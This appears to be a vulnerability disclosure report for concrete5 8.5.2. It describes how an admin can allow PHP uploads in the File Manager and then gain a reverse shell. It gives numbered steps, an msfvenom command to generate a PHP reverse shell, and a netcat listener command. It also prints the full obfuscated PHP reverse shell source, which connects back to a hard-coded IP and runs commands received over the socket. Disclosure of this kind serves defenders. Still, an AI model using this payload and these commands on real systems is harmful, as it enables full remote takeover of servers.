Remote Code Execution (Reverse Shell) - File Manager

Remote Code Execution (Reverse Shell) - File Manager • Title: concrete5-8.5.2 Remote Code Execution - Reverse Shell • Keyword: crayons • Software : concrete5 • Product Version: 8.5.2 • Vulnerability : Remote Code Execution - Reverse Shell • Vulnerable component: File Manager The attacker needs the appropriate permissions (Admin role) in order to edit and allow other file types (file extension). If the file type such as PHP is added then the user will be able to upload PHP shell to access underline server system and gain full server/system control. It was possible to upload Reverse shell and gain the full system shall. Reverse shell is mechanism that allow you to have the server shell by exploiting the web server to trigger a connection back. The attacker would be able to take full control over the web server (system). - Steps to reproduce: 1. Login as admin user or any user which would have access to the 'Allow File types' feature to add PHP extension. 2. Visit 'Allow File Types' (see screenshot 1) F675561 3. Once you click on 'Allow File Types' you will be presented with list of file types allowed. Add php there (see screenshot 2) F675563 4. Once saved, now visit the File Manager to upload the PHP shell (I will post PHP shell code below) (see screenshot 3) F675566 5. Now we need to generate our PHP shell (I will paste full PHP shell below) or with Metasploit's Msfvenom we can generate it with following command: msfvenom -p php/reverse_php LHOST=192.168.1.1 LPORT=1234 > shell.php 6. Once you have PHP shell generated now time to upload the file. Now drag and drop your shell here, and once you see greenline under the image it means the file was uploaded successfully and now click close (see screenshot 4) F675567 7. Once you click on close you will notice little properties, and there are the link for the file. Before you click on the link make sure you have Netcat listener setup so it is waiting for incoming signal. command for it: nc -nlvp 1234 (see screenshot 5) F675572 8. Now we have attacker machine sitting and listening on port 1234 now its time to click on the link to trigger the reverse shell (see screenshot 6) F675574 9. Once click on the link you can see in scressnshot 7 that we the attacker machine received reverse system shell with full control over the system. We can now browser through the remote system (see screenshot 7) F675575 #This is the PHP shell generated by the above mentioned command: /*<?php /**/ @error_reporting(0); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $dis=@ini_get('disable_functions'); if(!empty($dis)){ $dis=preg_replace('/[, ]+/', ',', $dis); $dis=explode(',', $dis); $dis=array_map('trim', $dis); }else{ $dis=array(); } $ipaddr='192.168.112.143'; $port=1234; if(!function_exists('wjfzHmO')){ function wjfzHmO($c){ global $dis; if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; } $vQaTydS='is_callable'; $ONlOW='in_array'; if($vQaTydS('proc_open')and!$ONlOW('proc_open',$dis)){ $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes); $o=NULL; while(!feof($pipes[1])){ $o.=fread($pipes[1],1024); } @proc_close($handle); }else if($vQaTydS('exec')and!$ONlOW('exec',$dis)){ $o=array(); exec($c,$o); $o=join(chr(10),$o).chr(10); }else if($vQaTydS('system')and!$ONlOW('system',$dis)){ ob_start(); system($c); $o=ob_get_contents(); ob_end_clean(); }else if($vQaTydS('shell_exec')and!$ONlOW('shell_exec',$dis)){ $o=shell_exec($c); }else if($vQaTydS('popen')and!$ONlOW('popen',$dis)){ $fp=popen($c,'r'); $o=NULL; if(is_resource($fp)){ while(!feof($fp)){ $o.=fread($fp,1024); } } @pclose($fp); }else if($vQaTydS('passthru')and!$ONlOW('passthru',$dis)){ ob_start(); passthru($c); $o=ob_get_contents(); ob_end_clean(); }else { $o=0; } return $o; } } $nofuncs='no exec functions'; if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ $s=@fsockopen("tcp://192.168.112.143",$port); while($c=fread($s,2048)){ $out = ''; if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ $out=wjfzHmO(substr($c,0,-1)); if($out===false){ fwrite($s,$nofuncs); break; } } fwrite($s,$out); } fclose($s); }else{ $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); @socket_connect($s,$ipaddr,$port); @socket_write($s,"socket_create"); while($c=@socket_read($s,2048)){ $out = ''; if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ $out=wjfzHmO(substr($c,0,-1)); if($out===false){ @socket_write($s,$nofuncs); break; } } @socket_write($s,$out,strlen($out)); } @socket_close($s); } ?> ## Impact Reverse shell is mechanism that allow you to have the server shell by exploiting the web server to trigger a connection back.
